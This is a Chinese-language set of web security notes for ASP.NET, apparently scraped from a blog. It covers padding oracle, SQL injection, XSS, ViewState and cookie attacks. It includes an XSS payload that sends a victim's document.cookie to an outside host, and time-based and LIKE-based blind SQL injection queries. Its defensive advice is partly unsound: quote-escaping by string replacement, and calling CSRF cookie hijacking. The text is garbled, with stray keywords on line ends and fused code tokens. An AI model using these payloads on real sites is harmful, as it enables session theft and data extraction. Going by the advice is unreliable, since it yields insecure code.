1、Padding Oracle Vulnerability,填充甲骨文漏洞。原文:ScottGu的說明html
老趙web
解決方法:1。添加報錯頁面。防止給黑客提示信息。正則表達式
<configuration> <system.web><customErrorsmode="On"redirectMode="ResponseRewrite"defaultRedirect="~/error.aspx"/></system.web> </configuration>
2. Error頁面睡眠一會,給黑客照成困難sql
<%@ Page Language="C#"AutoEventWireup="true"%> <%@ Import Namespace="System.Security.Cryptography"%> <%@ Import Namespace="System.Threading"%> <script runat="server"> voidPage_Load() { byte[] delay = newbyte[1]; RandomNumberGenerator prng = newRNGCryptoServiceProvider(); prng.GetBytes(delay); Thread.Sleep((int)delay[0]); IDisposable disposable = prng asIDisposable; if(disposable != null) { disposable.Dispose(); } } </script> <html> <head runat="server"> <title>Error</title> </head> <body> <div> An error occurred whileprocessing your request. </div> </body> </html>
二 、 sql 注入。方式有:數據庫
一、傳參url方式,直接獲得querystring,而後查詢數據庫。瀏覽器
二、文本框輸入,如登錄。解決方 法:1..Replace("'", "''");單引號變成雙引號2.用存儲過程。服務器
三、若是不用存儲過程,應該把每一個傳遞用單引號包含進去。如 '"+querystring+"'".cookie
原文:sql注入oracle
3、參數污染asp.net
這個下面的xss攻擊解決方法差很少,1.對參數進行驗證。2.加引號
一下是在數據庫驗證前的過濾
4、 csrf跨站點請求僞造,1.能夠理解爲cookie劫持。
<a href="fundzf.aspx?symbol=<%=strSymbol%>">基金分成與拆分</a>
?symbol=" onmouseover=window.open("http://www.baidu.com?cookie="%2Bdocument.cookie) bad="
這樣就能夠 當把這個頁面被點擊的時候,客戶的cookie就會被劫持
解決方案:對傳過來的參數進行檢查
2.<%@ Page Language="C#" ValidateRequest="false" AutoEventWireup="true" CodeBehind="WebForm2.aspx.cs"
Inherits="WebApplication6.WebForm2" %>
<html>
<script runat="server">
void btnSubmit_Click(Object sender, EventArgs e)
{
// If ValidateRequest is false, then 'hello' is displayed
// If ValidateRequest is true, then ASP.NET returns an exception
Response.Write(txtString.Text);
}
</script>
<body>
<form id="form1" runat="server">
<asp:TextBox ID="txtString" runat="server" Text="<script>alert('hello');</script>" />
<asp:Button ID="btnSubmit" runat="server" OnClick="btnSubmit_Click" Text="Submit" />
</form>
</body>
</html>
解決方案:1.升級.netframework,上面的代碼在.netframework2.0中,能夠執行,可是在4.0中就會報錯。2.對用戶輸入的內容進行元字符過濾
s腳本中過濾特殊字符的正則表達式代碼:
function stripscript(s)
{
var pattern = new RegExp("[`~!@#$^&*()=|{}':;',\\[\\].<>/?~!@#¥……&*()——|{}【】‘;:」「'。,、?]")
var rs = "";
for (var i = 0; i < s.length; i++) {
rs = rs+s.substr(i, 1).replace(pattern, '');
}
return rs;
}
校驗全部輸入域是否含有特殊符號
/**
* 校驗全部輸入域是否含有特殊符號
* 所要過濾的符號寫入正則表達式中,注意,一些符號要用'\'轉義.
* 試例:
* if(checkAllTextValid(document.forms[0]))
* alert("表單中全部文本框經過校驗!");
*/
function checkAllTextValid(form)
{
//記錄不含引號的文本框數量
var resultTag = 0;
//記錄全部text文本框數量
var flag = 0;
for(var i = 0; i < form.elements.length; i ++)
{
if(form.elements[i].type=="text")
{
flag = flag + 1;
//此處填寫所要過濾的特殊符號
//注意:修改####處的字符,其它部分不準修改.
//if(/^[^####]*$/.test(form.elements[i].value))
if(/^[^\|"'<>]*$/.test(form.elements[i].value))
resultTag = resultTag+1;
else
form.elements[i].select();
}
}
/**
* 若是含引號的文本框等於所有文本框的值,則校驗經過
*/
if(resultTag == flag)
return true;
else
{
alert("文本框中不能含有\n\n 1 單引號: ' \n 2 雙引號: \" \n 3 豎 槓: | \n 4 尖角號: < > \n\n請檢查輸入!");
return false;
}
}
五。Unencrypted __VIEWSTATE parameter,viewstate 保存沒有加密,解決方法
在web.config.中,system.web中加 <machineKey validation="3DES"/>
六。Cookie攻擊的兩種手段:
1,Cookie欺騙
經過盜取、修改、僞造Cookie的內容來獲得相應權限或者進行相應權限的操做。
2,Cookie注入
利用Cookie進行數據庫SQL注入,不少人注意過濾經過Get和Post方式獲取的參數,可是卻疏於過濾從Cookie獲取的參數,這點是要引發注意的。
使用Cookie保存的數據
一 般不要用Cookie保存用戶的我的信息,好比密碼、郵箱等,可是若是想在用戶連接到網站的時候,驗證用戶是不是上次登陸的那個用戶,能夠用戶每次登陸成 功後,將一個隨機密碼發送到瀏覽器端保存(固然在服務器端數據庫也要保存該字段,假如字段名爲CookiePassword,注意與用戶登陸密碼不一樣), 當用戶再次登陸時,首先驗證用戶發來的密碼與CookiePassword字段(不是用戶密碼)中保存的是否一致,相同便可認爲是上次正常登陸的用戶。
七。盲sql注入,Blind SQL Injection 解決方法和sql注入同樣。
區別是,sql注入有錯誤的提示信息,盲sql只有對錯,沒有提示信息。
實例:1.經過實踐判斷 咱們的盲sql對了沒有,select * from sysusers where (SELECT count(*) FROM sysusers AS sys1
, sysusers assys2, sysusers as sys3
, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
,sysusers AS sys7)>1
例如這個,時間會很長,記住時間。
select * from sysusers where (SELECT count(*) FROM sysusers AS sys1
, sysusers assys2, sysusers as sys3
, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
,sysusers AS sys7)>1
and 0>(select top 1ascii(substring(name,1,1)) from sysusers)
時間很短,說明盲sql沒有獲得想要的數據。
select * from sysusers where (SELECT count(*) FROM sysusers AS sys1
, sysusers assys2, sysusers as sys3
, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
,sysusers AS sys7)>1
and 300>(select top 1ascii(substring(name,1,1)) from sysusers)
時間長點,說明 咱們獲得了東西。
2.經過正則表達式達到目的,咱們要用到like.
select * from sysusers where 頁面的參數 and 1=(SELECT TOP 1 1 FROM sysusers WHERE name LIKE '[a-z]%')
有返回值,說明咱們正確